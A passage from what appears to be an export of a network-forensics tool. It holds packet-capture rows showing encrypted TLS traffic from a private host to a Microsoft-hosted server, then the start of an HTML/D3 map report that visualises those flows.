\\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94;U\\\\xf8\\\\'#\\\\xb3\\\\xd3\\\\xfe\\\\x80\\\\\\\\\\\\xa906\\\\x06\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd4\\\\x1d\\\\x07\\\\xb1\\\\xeb\\\\xc05\\\\\\\\\\\\xee\\\\x91u\\\\xee\\\\x85BVc' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:36.042131,15,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70b40008006e94bc0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....K..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46859, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59723, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:39.142185,16,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70c40008006e8b5c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695943b55f82723b3d3fe805ca9303606fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd341d07b1ebc0355cee9175ee85425663,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46860, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59573, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\x94;U\\\\xf8\\\\'#\\\\xb3\\\\xd3\\\\xfe\\\\x80\\\\\\\\\\\\xa906\\\\x06\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd4\\\\x1d\\\\x07\\\\xb1\\\\xeb\\\\xc05\\\\\\\\\\\\xee\\\\x91u\\\\xee\\\\x85BVc' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 18:01:45.653613,17,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3881783903 Ack=1692602478,525400577f945254007bb792080045000028b70d40008006e9acc0a87aa804d519f0c2eb01bbe75f525f64e3106e501400005a300000,\"RT.W..RT.{....E..(.\n@.......z.........._R_d..nP...Z0..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46861, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59820, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783903, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 18:01:48.888299,18,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3334411405 Ack=1369756557,525400577f945254007bb792080045000028b70e40008006e9abc0a87aa804d519f0c2e401bbc6bf148d51a4d38d501400005a300000,RT.W..RT.{....E..(..@.......z.............Q...P...Z0..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46862, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59819, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411405, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"192.168.122.168\", \"ip\": \"192.168.122.168\", \"packet_count\": 18, \"total_bytes_sent\": 3748, \"total_bytes_received\": 0, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [49899, 49892], \"first_seen\": 1777226483.98341, \"last_seen\": 1777226508.888299, \"packets\": [{\"num\": 0, \"time\": 1777226483.98341, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1777226484.295122, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1777226484.904884, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1777226486.107823, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1777226487.134883, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1777226487.448527, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1777226487.448622, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1777226488.151688, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1777226488.749115, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1777226489.452254, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1777226490.664584, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1777226491.149062, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1777226491.868775, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 13, \"time\": 1777226494.27623, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 14, \"time\": 1777226496.042131, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1777226499.142185, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 16, \"time\": 1777226505.653613, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 17, \"time\": 1777226508.888299, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 24.90488910675049, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7227496546098287}, {\"id\": \"4.213.25.240\", \"ip\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes_sent\": 0, \"total_bytes_received\": 3748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [443], \"first_seen\": 1777226483.98341, \"last_seen\": 1777226508.888299, \"packets\": [{\"num\": 0, \"time\": 1777226483.98341, \"size\": 153, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1777226484.295122, \"size\": 153, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1777226484.904884, \"size\": 153, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1777226486.107823, \"size\": 153, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1777226487.134883, \"size\": 302, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1777226487.448527, \"size\": 153, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1777226487.448622, \"size\": 302, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1777226488.151688, \"size\": 302, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1777226488.749115, \"size\": 153, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1777226489.452254, \"size\": 302, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1777226490.664584, \"size\": 302, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1777226491.149062, \"size\": 153, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1777226491.868775, \"size\": 302, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1777226494.27623, \"size\": 302, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1777226496.042131, \"size\": 153, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1777226499.142185, \"size\": 302, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1777226505.653613, \"size\": 54, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1777226508.888299, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"India\", \"city\": \"Pune\", \"lat\": 18.5211, \"lon\": 73.8502, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"4.213.0.0/16\"}, \"duration\": 24.90488910675049, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7227496546098287}];\n        const edges = [{\"source\": \"192.168.122.168\", \"target\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes\": 3748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [49899, 49892], \"dst_ports\": [443], \"first_packet\": 1777226483.98341, \"last_packet\": 1777226508.888299, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1777226483.98341, \"timestamp_iso\": \"2026-04-26T23:31:23.983410\", \"timestamp_human\": \"2026-04-26 23:31:23.983\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46845, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 1, \"timestamp\": 1777226484.295122, \"timestamp_iso\": \"2026-04-26T23:31:24.295122\", \"timestamp_human\": \"2026-04-26 23:31:24.295\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46846, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 2, \"timestamp\": 1777226484.904884, \"timestamp_iso\": \"2026-04-26T23:31:24.904884\", \"timestamp_human\": \"2026-04-26 23:31:24.904\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46847, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": 